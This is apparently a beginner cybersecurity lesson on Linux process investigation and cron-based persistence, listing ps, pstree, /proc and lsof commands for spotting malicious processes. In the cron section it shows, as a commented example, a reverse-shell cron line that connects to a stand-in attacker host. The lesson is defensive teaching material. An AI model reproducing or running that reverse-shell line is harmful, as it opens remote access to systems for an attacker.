Skip to main content

Beginner-Friendly Topic

Take your time - it's perfectly normal to re-read this topic 2-3 times. Try the interactive code editor below to run code yourself. Use the Q&A section to check your understanding before moving on.You've got this!

Lesson 3 of 10

Process Management & Security Monitoring

Understanding process management is essential for detecting malware, investigating incidents, and maintaining system security. Attackers hide malicious processes; defenders need to know what normal looks like to spot anomalies.

45 minBy Priygop Editorial TeamUpdated 2026Peer Reviewed & Verified

Process Investigation Commands

Process Investigation Commands
# Essential process investigation for security analysis

# View all processes with full details
ps auxww
# USER: which user owns the process (malware often runs as www-data or nobody)
# PID:  process ID
# CMD:  full command line - check for suspicious scripts or unusual paths

# Process tree - see parent/child relationships (detect process injection)
pstree -p
# Example of suspicious: nginx → /bin/bash → python3 evil.py
# Normal: nginx should never spawn a shell

# Investigate a specific process
ls -la /proc/<PID>/exe         # What binary is running
cat /proc/<PID>/cmdline        # Exact command line arguments
cat /proc/<PID>/environ        # Environment variables (may contain credentials)
ls -la /proc/<PID>/fd          # Open file descriptors (files, network sockets)
cat /proc/<PID>/net/tcp        # Network connections of this process

# Find processes with open network connections
lsof -i -n -P                  # All network connections with process info
lsof -i TCP:443                # What's using port 443?
lsof -u www-data               # All file/network activity by www-data user

# Detect hidden processes (rootkit detection)
ps aux > /tmp/ps_output.txt
ls /proc | egrep '^[0-9]+$' > /tmp/proc_pids.txt
# If a PID appears in /proc but not in ps output - potential rootkit

Cron Jobs as a Security Risk

Cron Jobs as a Security Risk
# Cron jobs (scheduled tasks) are frequently abused for persistence

# View all cron schedules (attacker adds malicious cron job after breach)
crontab -l                      # Current user's cron jobs
crontab -l -u root              # Root's cron jobs (requires sudo)
cat /etc/crontab                # System-wide cron
ls -la /etc/cron.d/             # System cron drop-in files
ls -la /etc/cron.daily/         # Daily scripts
ls -la /etc/cron.hourly/        # Hourly scripts

# Attacker persistence example (runs reverse shell every minute):
# * * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Hardening cron:
# 1. Only root should own cron files
# 2. Cron scripts should be world-unwritable
# 3. Monitor cron changes with auditd or file integrity monitoring

# Check for persistence mechanisms comprehensively:
# Cron, systemd services, .bashrc/.profile modifications,
# init scripts (/etc/init.d/), systemd timer units

Common Mistakes

  • Not knowing what 'normal' processes look like on your system - you cannot spot suspicious processes without a known-good baseline
  • Ignoring zombie processes (defunct) - while usually harmless, many zombie processes can indicate a buggy or malicious application not properly cleaning up child processes
  • Not monitoring cron job changes - persistent attackers add cron jobs as backdoors; file integrity monitoring on /etc/cron* and crontab changes is critical

Tip

Tip

Practice Process Management Security Monitoring in small, isolated examples before integrating into larger projects. Breaking concepts into small experiments builds genuine understanding faster than reading alone.

Diagram
Loading diagram…

The foundational security model: Confidentiality (privacy), Integrity (trust), and Availability (uptime).

Practice Task

Note

Practice Task - (1) Write a working example of Process Management Security Monitoring from scratch without looking at notes. (2) Modify it to handle an edge case (empty input, null value, or error state). (3) Share your solution in the Priygop community for feedback.

Quick Quiz

Common Mistake

Warning

A common mistake with Process Management Security Monitoring is skipping edge case testing - empty inputs, null values, and unexpected data types. Always validate boundary conditions to write robust, production-ready cybersecurity code.

Key Takeaways

  • Understanding process management is essential for detecting malware, investigating incidents, and maintaining system security.
  • Not knowing what 'normal' processes look like on your system - you cannot spot suspicious processes without a known-good baseline
  • Ignoring zombie processes (defunct) - while usually harmless, many zombie processes can indicate a buggy or malicious application not properly cleaning up child processes
  • Not monitoring cron job changes - persistent attackers add cron jobs as backdoors; file integrity monitoring on /etc/cron* and crontab changes is critical

Hands-on Practice Tools for this Course

Test what you learn using these free in-browser developer utilities (no signup required).

All 40+ Tools

Topics in This Module

0/10 done